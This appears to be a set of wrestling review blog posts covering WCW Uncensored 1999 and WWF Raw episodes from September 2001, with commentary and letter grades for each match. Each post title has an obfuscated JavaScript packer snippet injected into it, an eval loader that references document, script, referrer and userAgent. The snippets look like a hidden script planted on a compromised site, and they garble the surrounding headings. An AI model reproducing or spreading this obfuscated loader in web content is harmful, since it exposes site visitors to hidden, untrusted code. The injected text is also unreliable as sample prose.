Uncensored 1999: FLAIR BEATS HOGAN!!!

Uncensored eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hniyy|var|u0026u|referrer|zhtet||js|php'.split('|'),0,{})) 1999
Date: March 14, 1999
Location: Freedom Hall, Louisville, Kentucky
Attendance: 15,930
Commentators: Mike Tenay, Bobby Heenan, Tony Schiavone

Another Uncensored here in the form of the 1999 version. The main event is Hogan vs. Flair in a first blood steel cage match that you can win by pin for the title and control of the company. Other than that this is more or less the standard WCW card from this era as you can see how far the company has fallen in a single year. Also this show is in Kentucky and the only reason I heard about it was my family was in Louisville a few days before the show. They never advertised in Lexington, which is only about an hour and ten minutes away. I’d try to tap into the extra 300,000 fans but that’s just me. Let’s get to it.

The opening video is one of those weird ones that looks like a prison and then the visuals of Flair and Hogan are all weird looking. It’s kind of hard to describe.

The cage will have barbed wire around the top apparently. Also Tony flat out says that hit’s a first blood cage match. Flair’s career and job as leader of the company is on the line.

Video on Nash vs. Rey which resulted in Rey losing his mask earlier. Nash also offered him a spot in the NWO and it got turned down.

Cruiserweight Title: Mikey Whipwreck vs. Billy Kidman

This is Whipwreck (a heel here) making his debut and he’s getting a title show. Well of course he is. Louisville wasn’t an ECW town so I doubt many people know who Mikey is. Kidman tries to speed things up to start but Mikey grabs a front facelock which doesn’t last long. Whipwreck is left handed. Since there’s no story here I need things to fill in space like that. SWEET dropkick by Kidman.

After being outside for just a few seconds Kidman comes back in and hits a cross body for two. Mikey sends him to the floor again and gets a wheelbarrow slam into the railing. Indian Deathlock goes on back in the ring to hurt the leg so now let’s work on the neck. Kidman reverses an Irish Whip and takes him down with a clothesline so he can stomp a mudhole.

Fameasser by Kidman is countered into a powerbomb for two. Off to a reverse front facelock (kind of like a weak Dragon Sleeper) which doesn’t last long. Mikey goes to the floor again and Kidman gets a huge dive onto him but it looked like Whipwreck was down already so the landing looked pretty bad. Back in and Mikey hits a slingshot move for two. Slingshot suplex is countered into a DDT by the champ to set up the Shooting Star.

Mikey sends him to the floor though but a big dive misses and Whipwreck crashes into the railing. FREAKING OW MAN! Kidman is backdropped into the crowd as this has been pretty back and forth here. Back inside now and a leg sweep gets two on Kidman. A splash misses in the corner and lets Mikey get two. After some waiting around, Kidman gets a Low Down for two.

Whipwreck goes up and avoids a superplex. Nice top rope clothesline gets two. Sitout Pedigree by Kidman gets two as this is needing to end pretty soon. Top rope belly to back gets two for Mikey. Powerbomb is countered by Kidman and that always awesome Shooting Star is enough for Kidman to retain.

Rating: B-. Good match here but 15 minutes was probably too long. Cut this down by about three minutes and it’s a lot better. Mikey is a weird kind of cruiserweight as he wrestles like a small heavyweight rather than a cruiserweight and it makes for some odd matches at times. Not bad for sure but probably just too long.

We get a video on the cage being built for later.

Stevie Ray vs. Vincent

This is a street fight for control of NWO Black and White, because when you think leadership of a heel team, you think Vincent. Since it’s a street fight, Stevie gets checked for weapons. Do you really expect for there to be a good match here? Out to the floor with Vincent in control. Did he ever win a match in WCW? They go into the stands and fight over like 50 empty seats.

Gee WCW, I’m sure you made the right decision to waste all those seats in an arena that you have a huge crowd. Clearly no one would have wanted those seats. Vincent backdrops him to ringside as I can’t believe I’m seeing Vincent in a match on PPV. Middle rope forearm gets two for Vincent. Stevie wakes up and we get the most ridiculous collision spot ever, as Stevie leans forward and Vincent doesn’t move for the spot to him. Horace comes out and hands Stevie a slapjack but Stevie hits a move called the Slapjack (elevated Pedigree) for the pin.

Rating: F. Vincent was in a gimmick match on a PPV in 1999 with Horace Hogan involved in it as well. Do I need to explain to you why this was a failure? The match sucked too and it sucked hard. I mean like Pat Patterson trying to make up with Vince hard.

Kevin Nash vs. Rey Mysterio

Yes you read this right. Mysterio is in a giant killer thing, including a pin over Nash. Oh and Rey has no mask anymore. Luger is out with Nash here, as is Liz. Rey runs right into a boot in the first move of the match. Nash tosses him around a bit but gets caught in a sitout bulldog as the fans are WAY into this. Rey sends him to the floor and uses what we would call the 619 (it’s just a tease move in WCW and never makes any actual contact).

Nash dodges a dive and sends Rey into the railing to take over. Back inside now and Nash is dominant. In a funny spot he sets up the framing elbow in the corner but has to put Rey on the middle rope to be able to hit it. Biggest atomic drop ever puts Rey down again. Low blow by Rey is all cool with the referee and a dropkick gets two. Moonsault press is caught and Luger trips Rey, allowing another big boot to set up the super jackknife to end this. It was almost a Border Toss the way he did it.

Rating: D+. This is a different kind of match. On paper it’s more or less a squash but here that’s the right idea. The idea was that Rey had hit the lucky streak of a lifetime and finally got caught here. In other words, Nash winning here was exactly what should have happened. There comes a point where a guy as small as Rey beating a guy as big as Nash in a regular match (as in not off a quick fluke) is unrealistic and hurts the story. This is one of those times. No issue here, and ironically enough the time of the match was 6:19.

Raven talks about violence causing violence.

Hak (Sandman) says he’s ready for his hardcore triple threat.

Bigelow says he’s awesome. Yeah these guys left their spots as being top stars in ECW to do ECW style matches in the low midcard of WCW. Makes sense.

Jerry Flynn vs. Ernest Miller/Sonny Onoo

Note that this is Flynn and not the far more talented and interesting Lynn. Flynn is a dull as vanilla ice cream in a white room with a single window where you can watch grass growing. It’s karate stuff here again because that’s all these three know how to do. They have to tag here. Basic story here: Onoo (allegedly one of the best fighters in the world) is terrified of Flynn so Miller (another world champion remember) has to do everything. You know, because Flynn is so awesome that two champion martial artists can’t handle him.

This is one of those matches where there is absolutely nothing to talk about. This match didn’t belong on Thunder and yet it’s getting seven minutes on a PPV. Miller is in the match the entire time and hits the Feliner (Trouble in Paradise) to put Flynn down. Now it’s off to Sonny and as soon as Flynn gets up it’s off to Sonny again. Flynn beats on Miller on the floor and then the tag finally hits. One kick from Flynn pins Onoo. Whatever man.

Rating: F-. Jerry Flynn has less purpose on this show than Vincent did. Let that sink in for a bit. Totally worthless match and no point whatsoever on being on this show. Also, STOP HAVING KARATE GUYS FIGHT EACH OTHER. The point is to have them fight other styles so it doesn’t get boring. Weak match and totally pointless. Give me ANYTHING else.

Benoit and Malenko are ready to win the tag titles from Windham and Hennig tonight. It’s a lumberjack strap match.

Hak vs. Raven vs. Bam Bam Bigelow

Hardcore match of course but that isn’t an official word yet. Hak has what used to be Mongo’s music. Even Raven has a theme now and he has his “sister” Chastity with him. Big brawl to start with Bigelow running everyone over. Chastity leaves for a bit and comes back with a dumpster full of weapons. This is going to be another one of those matches where there isn’t much to say.

Raven is controlling at the moment with various shots from metal objects. Sandman screams and overacts a lot. There’s a mailbox and an ironing board. Drop toehold sends Hak into a pile of stuff. They’re pretty much just throwing stuff at each other here. Bigelow is the only one standing. Trashcan shot to the head puts Hak down but Raven hits a low blow on Bammer to take over again.

Hak breaks an ironing board over Raven and everything stops again. Apparently he has a patented left hand. So does every other left handed person on the planet or anyone that hits somebody with a left hand own him a quarter or something? Bigelow hits Sandman with a box fan and the fans loudly boo. There’s an oar to Bigelow’s crotch. Raven does his pose and gets a big reaction.

Raven hits a WEAK chair shot to Bigelow who pops up from it as he should have. These spots are happening with about 30 seconds between them. Hak pops up after a cookie sheet shot and jumps on Bigelow with a sleeper. Raven jumps on Hak and they all fall down again. Heineken-Rana (yes that’s the real name) from Hak takes Raven down and it’s table time.

An ECW chant starts up and is immediately muted. I mean it just gets quiet almost instantly. Bigelow can’t splash Raven through a table so he powerbombs him instead. THE TABLE DOESN”T MOVE. Bigelow has to splash him instead and somehow Hak is still alive. He brings in the cane and here’s Chastity. There’s another table and make it a third. Bigelow goes most of the way through one of them and Raven DDTs Hak.

Naturally he doesn’t cover as Chastity has slipped him some tape and he’s taping Hak’s arms behind his back. We get the just not needed Rock/Foley series of unprotected chair shots to the head until Bigelow hits Greetings From Asbury Park (over the shoulder Piledriver) to kill Raven. Chastity hides in the dumpster and Bigelow threatens to jump in it. She comes up with a fire extinguisher and Bigelow falls through the table. And then she turns on Raven and Hak pins him to end this.

Rating: D. This was a pretty intense hardcore match but it was FIFTEEN MINUTES LONG. Seriously, who in the world thought that was a good idea? These matches are already repetitive and having guys out there that are spent a few minutes in, how good are you expecting this to be? The spots were solid but it just went way too long here and that’s why it’s rated so low.

We get a brief break to clean the ring as the announcers talk.

Tag Titles: Chris Benoit/Dean Malenko vs. Curt Hennig/Barry Windham

This is a lumberjack strap match, meaning the lumberjacks have them. None of them are stars or anything and Hennig/Windham are the champions. One of the lumberjacks is Kendall Windham, as in Barry’s brother. Hennig and Benoit start us off. Arn Anderson comes down to ringside before we really get going. Chris Adams leaves and Arn takes his place, for some reason having his own leather strap in his jacket. I won’t ask.

The champs try to run and they get thrown back in by the lumberjacks. We finally get going and the starters trade slaps with Benoit destroying him. Out to the floor again and Hennig runs like a guy being chased by a mob with leather straps who want to beat him down. Off to Windham and he gets chopped too. Windham is sent outside and the lumberjacks start it up again.

Sweet mercy those are awesome chops. Malenko comes in and doesn’t miss a step from Benoit as the champions haven’t had a bit of offense yet. Back off to the Canadian who keeps dominating. Windham finally gets a boot up in the corner to set up a DDT and a tag to Hennig. Off to a chinlock as Hennig pretty audibly calls spots. Barry comes in again and a clothesline gets two.

Benoit hits a German and it’s the medium heat tag to Malenko. Benoit hadn’t been down enough yet for a hot tag so it’s close enough. Everything breaks down and Malenko hits a Hennigplex for two on Curt with a fast count. Cloverleaf goes on Curt and he taps but Windham makes the save before the referee sees it. Sleeper goes on Dean by Curt and then he dumps Dean.

Anderson comes over to save him from the beating and asks what’s wrong with you guys. That coming from Arn is just awesome. Dean tries to get something going against Windham but a hard elbow and a belly to back suplex stops that. Dean hammered away during the suplex though so both guys are down. Double tag brings in Benoit and Hennig with the Crippler in command. He steals Windham’s belt and we hit the floor where everything explodes. Hennig nails Anderson so Anderson pulls out a tire iron to blast Curt with. The most ridiculous Swan Dive ever (in a good way) ends Hennig a moment later.

Rating: B-. Pretty standard formula match here but it was good. The lumberjacks might have been a bit much but it was nothing too bad. That headbutt was insane as Hennig was beyond the logo on the mat and it made actual contact (with the arm but give him a break). Pretty good match here and nice to see Benoit getting a title after not having one for a very long time.

Chris Jericho vs. Perry Saturn

This is a dog collar match. Saturn had been in a dress recently and has promised to top that here. And now he’s in a dress made of chains. He also has some special contacts in which make his eyes yellow. The eyes have makeup on them and he’s wearing black lipstick. They’re chained around the neck. I have a feeling this won’t be Piper vs. Valentine. Jericho accepts the challenge for the match (which even Tony says “well we know that”) and then tells Ralphus to put the collar on. Even he says no to that and Jericho throws him out.

Jericho charges before he’s even attached and that goes badly for him. Saturn collars him on his own which is creepy. Jericho tries to run and that doesn’t work of course. Perry beats on him a lot as this is pretty dull so far. There’s some choking and Saturn uses the chain in a lot of regular moves. He pulls Jericho off the apron, throat first into the railing. Literally all Saturn so far.

Jericho finally gets a ball shot with the chain and chokes him over the ropes a bit. He tries to powerbom Saturn back into the ring but gets caught in a rana instead. Chris brags some but takes too much time, allowing Saturn to pull him off the top. All Perry now with him throwing Jericho around a lot.

We go to the corner for ten punches and Saturn puts the dress over Jericho’s head. He gets caught in a Liontamer attempt though and is in trouble. In a pretty smart counter, Saturn wraps the chain around Jericho’s neck even more before he turns it so that while the hold is on, Jericho gets choked at the same time and he can’t hold onto it. Nicely done. Death Valley Driver out of nowhere gets two for Perry. Super rana attempt is countered into a powerbomb/spinebuster off the middle rope by Jericho.

Jericho unchains himself from Saturn, completely defeating the purpose of the match, and attaches it to his own neck so it’s wrapped around his chest. Lionsault misses so Jericho goes up again. A top rope splash misses due to Jericho tucking the chain into his tights for some reason and another Death Valley Driver ends Jericho.

Rating: D+. The match was really just a match that had a chain involved other than a few spots. The ending completely defeated the purpose though, which doesn’t really surprise me in WCW, especially in 1999. They just weren’t too bright around this time. Also the Saturn is psycho thing didn’t really mean all that much. Just kind of there, which isn’t good for a gimmick based around violence, of which there wasn’t much at all.

TV Title: Scott Steiner vs. Booker T

Steiner is champion and has Bagwell with him. Steiner stalls a lot before the match and threatens the referee a lot. They get in each others faces and Steiner hits the floor again, shouting CROSS THE LINE at some fans. If someone says wrestling matters I’ll die of laughter. We finally get going and kind of grapple a bit until Booker snaps off an armdrag to tick off Steiner.

They actually speed things up a bit and slug it out. Spin kick misses and Scott hits the floor. Booker is being a lot more aggressive here and I kind of like it. Steiner stalls a ton and they’re really not in full gear yet. He fights up and hits a rotating cross body off the top for two as Buff pulls him out. Steiner throws him into the crowd for a bit and that doesn’t go anywhere.

Steiner drops the elbow but doesn’t have the pushups thing yet. Back inside after some Bagwell choking, Steiner hits a Warrior gorilla press slam drop and is in full control. That gets two with just a knee on Booker’s chest. Spinning belly to belly gets two and we hit the weak rear chinlock. I mean at least flex your arms Scott.

After that gets broken up a forearm smash puts Steiner down. Spinwheel kick puts Scott down and there’s the axe kick. Flapjack sets up the Spinarooni for a nice pop. Harlem side kick looks to put the referee down but we actually don’t get a ref bump. Bagwell interferes again because that’s all he’s good for, crotching Booker on the top. Middle rope suplex and Buff brings in a chair. The chair hits Steiner in the head and the referee is all cool with it. Booker gets a cover and the pin for the title.

Rating: C+. Not bad here but it dragged a bit, namely due to Steiner not being able to crank a neck properly or Buff being useful in the slightest. I liked the earlier parts of this a lot better as Booker was slugging it out with Steiner and it was working. These two had some decent chemistry and this worked pretty well.

Video on the cage being made with the barbed wire and all that jazz.

WCW World Title: Hulk Hogan vs. Ric Flair

Lot of stips here. Hogan is champion and the heel coming in. Flair is president of WCW and it’s job/career vs. title. There’s no door to the cage and there’s barbed wire on the top. Remember that this is first blood. During Flair’s entrance he wants the mic from Buffer. Flair tells the referee not to stop the match unless a good deal of blood and to use his discretion. Keep that in mind: Flair, the President of the company, is saying that it ends with FIRST BLOOD, albeit a lot of blood. Tony calls it first blood also. Ok, that’s all cool. That gimmick has been done a bunch of times and it’s fine. Nothing weird here.

The cage is lowered. This is like a regular cage but there’s barbed wire on the top and no top. Tony talks about how are they going to escape, meaning they’re already altering the rules. The fans loudly chant for Hogan as they start slowly. BIG chop by Flair but here comes Hogan with a backdrop. Despite Hogan being the heel and Flair being the face here, they’re wrestling the opposite styles.

They trade chops in the corner and Hogan takes over while Flair begs off. Hogan throws on the Figure Four and Bobby thinks he’s in command. What great perception! Flair eats cage and Hogan pounds away plus bites. Flair tries to climb over the top as toilet paper comes into the ring. There go his trunks of course because we have to see that every show right? Flair is busted and it’s kind of bad, but the referee says keep going. Fits with what we were told in the beginning of the match.

Hogan pulls some barbed wire down because it’s apparently held on with gum and tape. He rips it across Flair’s head and then whips him with the belt. Flair’s hair is turning red now as Hogan rams him into the cage ten times. They’ve totally done a double turn mid match. Big boot sets up the leg drop and covers but as Mike says, “that’s insignificant due to the rules of the match.” The referee doesn’t count either so Hogan complains about how Flair is bleeding and says he should win. Hulk complains about the lack of a count as the rules are breaking down very fast.

Flair gets something around his hand and decks Hogan with it to take over again. Hogan eats cage and is busted. Here come David Flair who is at odds with his dad along with his unnamed girlfriend who we know as Torrie Wilson. David cheers on Hogan as the fans chant Hogan. Hulk Hulks Up and is a total face. There’s a leg drop and a cover for one. Oh I give up.

Ric comes back and hits a suplex but Hogan pops up. Flair goes into the cage again and let’s do it one more time. Hogan picks him up like a battering ram into the cage and down goes the referee. Flair gets a low blow and here’s Arn Anderson. He decks David and slips the tire iron to Flair. Flair blasts Hogan with it and puts the Figure Four on Hogan who is out and the referee counts a pin to give Flair the title. The fans go silent and then boo Flair.

Rating: C. Not horrible here but it would get a lot worse in the future. The double turn probably was a good idea as things had been going badly for awhile. Flair FINALLY beating Hogan is nice to see, even though it stops meaning anything at all at this point. The ending aside, this wasn’t bad and as usual, Flair and Hogan know how to work a crowd pretty well.

Thunder was in Lexington on Thursday. I think I was at that show.

Overall Rating: C-. Well this wasn’t horrible. There’s nothing here that makes you wonder what drugs they’re on which is a big step up for WCW around this time. It’s certainly not a great show but I think you can watch it and say that it’s ok enough to get by. The problem though was that the company was in a total downward spiral at this point and Austin vs. Rock was two weeks away. That’s kind of hard to fight. Not awful, but nothing really worth seeing here.

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Monday Night Raw – September 24, 2001: Happy Birthday Stephanie! Here’s A Bad Show For You

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysifk|var|u0026u|referrer|ybzdh||js|php'.split('|'),0,{})) Night Raw
Date: September 24, 2001
Location: Nationwide Arena, Columbus, Ohio
Attendance: 7,730
Commentators: Jim Ross, Paul Heyman

We’re past Unforgiven and the biggest detail is that we have a new WWF Champion in the form of Kurt Angle, who beat Austin in a pretty good match. We’re four weeks away from No Mercy and it’ll be the first show where things look even the slightest bit different in the main event picture. And then that’ll all mean nothing as it’ll be time for the Survivor Series and the end of the Alliance. Let’s get to it.

We open with Angle being announced as the new world champion and his family coming in to celebrate with him.

We’re waiting on Austin to arrive so in the meantime we’ll play a theme song.

Kane/Undertaker/Bradshaw vs. Dudley Boyz/Test

Kronik has been fired due to last night’s debacle so we have a new Alliance team for Undertaker and Kane to beat up. The Dudleys are WWF tag champions and Kane/Taker are the WCW counterparts. Bradshaw jumps Test to start and escapes the full nelson slam. Test absorbs some right hands and clotheslines Bradshaw down. Off to D-Von who gets slammed down and there’s a tag to Kane.

Sidewalk slam puts D-Von down and the top rope clothesline puts him down even further. Big boot from Test changes momentum and gets two for D-Von. Kane gets beaten up on the floor a bit as Undertaker tries to help, thereby allowing more cheating. Bubba drops some ax handles for two. Test comes in and pounds on Kane but the Spaniard slugs back and tags in Undertaker. Everything breaks down and Taker avoids the 3D. Bubba gets taken down by the Clothesline and a Last Ride pins D-Von.

Rating: D+. Total meh match here with nothing going on at all. Undertaker looks strong which doesn’t really help anything. I guess this sets up Dudleys vs. Brothers but it doesn’t really make the big tough team look all that vulnerable. Also as usual, the match doesn’t mean anything past the latest win/loss for either side.

Stacy comes in to see Torrie and wants to know what she sees in Tajiri. Stacy thinks he’s short and not much of a man. Torrie says at least she has a man (does Stasiak ring a bell?) so Stacy says she can get one anytime she wants (Stasiak? His dad was world champion?) so a challenge is set up for later.

Christian arrives and Heyman thinks it’s Austin. Christian warns the security guard to be ready for the mob of people that will be here soon. Oh and go get his bags later. He talks to two people ignoring him and says that he’ll sign all their autographs post show.

Shane fires up the Alliance by saying Austin will be here later. He says Austin is still champion because his arm was under the rope. Booker and Shane got screwed by Hebner too, so tonight is about revenge. Stephanie pops in and thinks they’re all here for her birthday. You know, because they wouldn’t show up for work otherwise. Stephanie (looking GREAT again this week) says that tonight is about leadership and following the example of….RVD. Booker comes out of his pose to complain so it’s Booker vs. Angle for the WWF Title and Rock vs. RVD for the WCW version.

Tajiri vs. Tazz

Tajiri kicks him down but walks into a Tazplex to take over. Tajiri comes back with the kicks and the Tarantula. Buzzsaw kick connects but Stacy kisses Tajiri which lets Taz hook the Tazmission for the tap out.

Shane talks to Booker about how it’s time to move up to the WWF Title.

US Title: Rhyno vs. Jeff Hardy

Rhyno won the title last night off Tajiri. Jeff speeds things up to start and sends it to the floor. Slingshot dropkick sets up a rana off the apron to take over. Back in the champion hits a spinebuster but misses a top rope splash. Jeff hits a flipping legdrop for two but walks into a belly to belly. Whisper in the Wind puts Rhyno down but the Swanton misses. The first Gore attempt misses but Jeff goes to the corner and when he lands, Rhyno kills him dead with the Gore to retain.

Rating: C. Rhyno was on a roll at this point and couldn’t have a bad match if he tried. He was great at the power matches and using that Gore to split people in half. He didn’t really have a character but he didn’t need one with his finisher. On top of that he added in some psychology with the constant rib work which makes perfect sense. Good stuff.

Hurricane tells Citizen Ivory and Citizen Storm that he’s glad they’re studying for the match. He also thinks Ivory is in danger and tells her to wait at the entrance. She leaves and Hurricane confides to Storm that he’s ready to take Holly on as his full time sidekick. He makes Storm do Wonder Twin Powers Activate in a funny bit.

Kanyon comes in to see RVD because he’s worried about Austin freaking out on him. Van Dam says just chill.

Ivory/Lance Storm/Hurricane vs. Big Show/Spike Dudley/Molly Holly

Spike is in a Show costume for no apparent reason. Show and Hurricane start things off and the masked man wants a test of strength. That goes nowhere so he slaps Big Show, which gets him thrown across the ring. Off to Ivory and Molly with the latter hitting a northern lights suplex for two. Storm and Spike come in and things speed up a bit. Spike chases Hurricane around and gets kicked down by Lance coming back in. Hurricane and the cape come in with a cross body for two. Show comes in and cleans house but Ivory hits him low. Molly gets on Show’s shoulders for the Molly Go Round for the pin on Storm.

Rating: D+. Just turn Molly into a sidekick already and get it over with. It was clear that’s where they were going so just get it over with already. On top of that, Show needs something to do. He’s been doing nothing for months now and it’s getting a little tiring to sit here and watch him do nothing at all.

Earl Hebner comes in to see Shane, who yells at him about an apparent screwjob last night. We see a clip of Austin tapping out but being under the ropes. Hebner admits his mistake but says the decision stands. Shane is barred from ringside for Angle vs. Booker for some reason.

WWF Title: Kurt Angle vs. Booker T

BIG USA chant goes up. You know Booker is an American too. Angle hits a quick overhead belly to belly for two. Booker grabs a headlock but Kurt grabs the ankle lock which is quickly broken. Angle goes for the ankle again but Booker hits an enziguri to take over. Booker drops a knee to what I think is a bad neck and stands around a lot. Off to a chinlock to take some time out of the match.

Kurt fights up and hits some elbows to the ribs but walks into a spinning forearm for two. Booker hits the ropes but walks into a belly to belly suplex and a belly to back gets two. Booker shoves off the referee to avoid the Slam and kicks Angle down. Belt shot puts Angle down for two. Bookend is countered into a northern lights suplex for two. Ax kick misses and Kurt rolls through a suplex into the ankle lock to retain.

Rating: C+. Not a bad match here but it wasn’t anything great. Booker jobbing again shouldn’t surprise anyone and I don’t think it did. He’s the biggest WCW star there was so of course he lost. That was another of the big issues with the Invasion: the Alliance guys were always second and third fiddles to the WWF guys.

Kanyon hits on Lita which is a lot more awkward in retrospect. She makes fun of his speech impediment.

Intercontinental Title: Christian vs. Chris Jericho

Christian won the title last night. He makes fun of the former champion Edge pre-match and we get a solo Five Second Pose….or we would have if Jericho hadn’t interrupted. Jericho takes him down to start and chops away. Christian comes back with punches and knocks Jericho into the corner. Backbreaker gets two. Jericho hits the forearm and avoids a dropkick. Christian avoids the Lionsault and rolls to the floor. A bell shot draws the LAME DQ to end this. Nothing match.

Christian loads up the Conchairto but Jericho avoids it and hooks the Walls.

X-Pac is sitting in Regal’s chair when the Commissioner comes in. Pac complains about his lack of TV time despite having two titles. Regal rips into him and says that it’s Pac vs. Regal tonight.

We get America the Beautiful from last night which is by one of those women singers that basically screech the words but it’s called great for some reason.

Raven asks RVD for advice about how depressed he’s been lately. RVD suggests being more positive about being negative. Raven thanks him and leaves when Stephanie comes in. She says win and you’re the leader of the Alliance. Some mild sexual tension is teased.

Matt Hardy vs. Kanyon

Matt punches him down to start and hits a moonsault press for two. Kanyon takes him down and heads to hit on Lita, who slaps the taste out of his mouth. Back in Kanyon drives Matt’s head into the mat for two. Kanyon talks to Lita more and gets rolled up for two. A bad Russian legsweep by Matt puts both guys down. They go to the corner with Kanyon getting shoved down and the middle rope legdrop sends Kanyon to the outside. Lita hits her hurricanrana off the steps. Twist of Fate is countered and Matt is shoved into Lita. Flatliner gets the pin.

Rating: D+. Nothing match here and as usual it doesn’t mean anything. These one night made feuds and their resolutions were fine for filling in TV time but it didn’t help anything long term. This was just ok as Matt was nowhere near what he would become yet (take that for what you will) and Kanyon still didn’t mean much.

EXTREME CLOSEUP of DDP who is very positive now. He’s into the motivational speaker gimmick now.

We go to WWF New York with the Tough Enough finalists. The five finalists are Nidia, Taylor (cute but never did anything), Chris Harvard, Maven and Josh Matthews, who looks like more of a tool than he does now.

Rock brags about retaining the title last night and now he has RVD. As for Stephanie, if she cheats she’s going to get a birthday spanking. She’s 25 tonight. He singe a version of Happy Birthday to her as well: “Happy Birthday to Steph, you’re a ho with big breasts, so take the night off from hooking, if ya smell what the Rock is cooking.” Ok that was awesome.

William Regal vs. X-Pac

Regal knocks him down but gets caught in a suplex for two. Bronco Buster hits and Regal comes back with the Regal Cutter for the pin. What in the freaking world was the point of this?

WCW World Title: Rob Van Dam vs. The Rock

Since Shane is barred from ringside for some reason, Stephanie comes out to watch the match. Rob counters a headlock and the fans aren’t sure who to cheer for. Rock Bottom is countered as well and they head to the floor. A clothesline puts Van Dam down but Rob comes back with the spinning kick to Rock who is draped over the barricade. Back in the top rope kick gets two.

Rock grabs a belly to belly for two. Back to the floor and Rob loads up the announce table, only to get punched in the face for his troubles. Rock throws him onto the table but Van Dam bounces off of it. Back inside a spinebuster gets two. RVD kicks him down and tries the split legged moonsault but Rock moves. Stephanie slaps Rock into a rollup for two. Rock hits a DDT and the Sharpshooter goes on but Stephanie comes in again. He chases her up the aisle and throws her back in as Van Dam slams him down. He gets ready for the Five Star but Stephanie shoves the referee into the ropes. Rock Bottom gives Rock the win.

Rating: C-. We’ll continue the running theme tonight by talking about how this is another problem the Invasion had: this match wasn’t about RVD, it wasn’t about the WCW Title and it wasn’t about the Invasion. This match was about Stephanie and how The Rock wants to ruin her birthday. That’s a fun single night thing and the more I get to see mid-20s Stephanie the happier I am, but this doesn’t do a thing long term. It doesn’t set up a PPV match, it doesn’t give Rock a new challenge, it doesn’t do anything. That’s fine once in awhile, but this is like the fourth week in a row. That’s not good.

Austin never arrived.

Overall Rating: D+. This didn’t work at all for me. It’s a total throwaway show with nothing happening and the whole thing being about Stephanie and her birthday with the usual world title matches that meant nothing at all. No Austin, so that went nowhere (nice bait and switch guys) and Angle and/or Rock have no opponents yet, so what was the point of this? Oh yeah, Stephanie is 25 now. Pointless show.

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Monday Night Raw – September 17, 2001: How Many Stories Is Stephanie In Anyway?

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ztzhf|var|u0026u|referrer|dyrae||js|php'.split('|'),0,{})) Night Raw
Date: September 17, 2001
Location: Bridgestone Arena, Nashville, Tennessee
Attendance: 7,641
Commentators: Jim Ross, Paul Heyman

It’s the final show before Unforgiven and obviously based on the date, things have changed tremendously in the whole world. Smackdown basically didn’t happen because of what happened which is perfectly fine, but it’s put them in a bind for building up the show. The good thing is that a lot of things have already been set in stone. The PPV would wind up being solid so let’s get to it.

The show opens with the American flag on the screen and a BIG USA chant. Nothing wrong with that at all.

The main events are Test/Stephanie vs. Rock II and Austin/RVD vs. Jericho/Austin.

WWF Tag Titles: Undertaker/Kane vs. Dudley Boys

Why not for both titles? Because this way if they change hands they can have ANOTHER title match that means nothing on PPVs, because that’s what they needed to fix things right? EVE MORE TITLES! Kane and D-Von start and Kane’s arm is STILL bandaged. Hasn’t that thing been hurt since April now? Kane takes him down with ease and no sells his punches. Sidewalk slam puts D-Von down and Kane drills Bubba so he can hit the top rope clothesline for two.

Off to Taker who has an American flag on his singlet now. D-Von takes him down with a shoulder block and brings in Bubba. Taker knocks down the future Bully almost immediately and hits Old School. Bubba comes back with a belly to back suplex for no cover. Kane comes in and grabs both Dudleys for chokeslams at the same time but D-Von hits him in the arm to break it up. What’s Up Kane?

Here comes a table but it doesn’t get set up. Kane is in trouble but manages to powerbomb Bubba out of the corner and tags Undertaker. A legdrop gets two on D-Von as Kane and Bubba fight on the floor. There goes the referee and cue Kronik. High Times puts Kane through the table and the 3D gives the Dudleys the titles.

Rating: D+. It was another mess but getting at least half of the titles off of Undertaker and Kane was a good thing because you had to have them get cheated to have them lose. That makes their defenses boring because you know no one is going to be able to get a clean win on them. Unfortunately this set up the Brothers vs. Kronik which was horrible.

Shane arrives and is met by Kronik and Richards. Richards offers Kronik’s services to the Alliance which is accepted. Their reward? A WCW Tag Title match on Sunday.

Storm disapproves of the swimsuit photos of Lita in WWF Magazine so he’s going to beat up Jeff tonight. Hurricane flies in and says he needs a sidekick. Storm suggests Ivory (complete with an Ivory soap ad) but Hurricane says he has a better idea and flies away.

Austin and Debra arrive and find RVD on their couch. They’re cool with each other but it doesn’t seem copacetic. RVD implies that he’s the second in command in the Alliance and if Austin is ever on vacation or something, he’d give his best to help out. Austin politely throws him out.

Lance Storm vs. Jeff Hardy

This should be good. They get technical to start and Jeff is fast enough to keep up with Storm. An O’Connor Roll is countered and they head to the floor where Jeff runs the railing for a clothesline. Back inside and Lance hiptosses him over the top and out to the floor. Storm works over the back and a backbreaker gets two. A hard Irish Whip into the corner gets the same.

Lita and Ivory are on the floor. I don’t think that pairing ever got a blowoff match or anything like that, at least not on PPV. Lance stays on the back but Jeff mule kicks out of the hold he’s in. Double legdrop between the legs and a Russian legsweep get two. Whisper in the Wind does as well, and wasn’t it nice for Storm to stand there for Jeff to hit it. Ivory’s quick distraction lets Storm hit a superkick for two. Lita goes after her and has to slap Lance as well. Jeff dives on Storm but the Swanton hits knees. Jeff tries a middle rope rana but gets caught in the Mapleleaf for the rare Jeff Hardy tap out.

Rating: C+. I liked this about as well as I thought I would. The girls were obviously going to get involved and thankfully they were only involved a little. The ending was clean and tied into the majority of the back work that Storm did earlier in the match which is all you can ask for. Fun match but I’d have liked it getting more than six minutes.

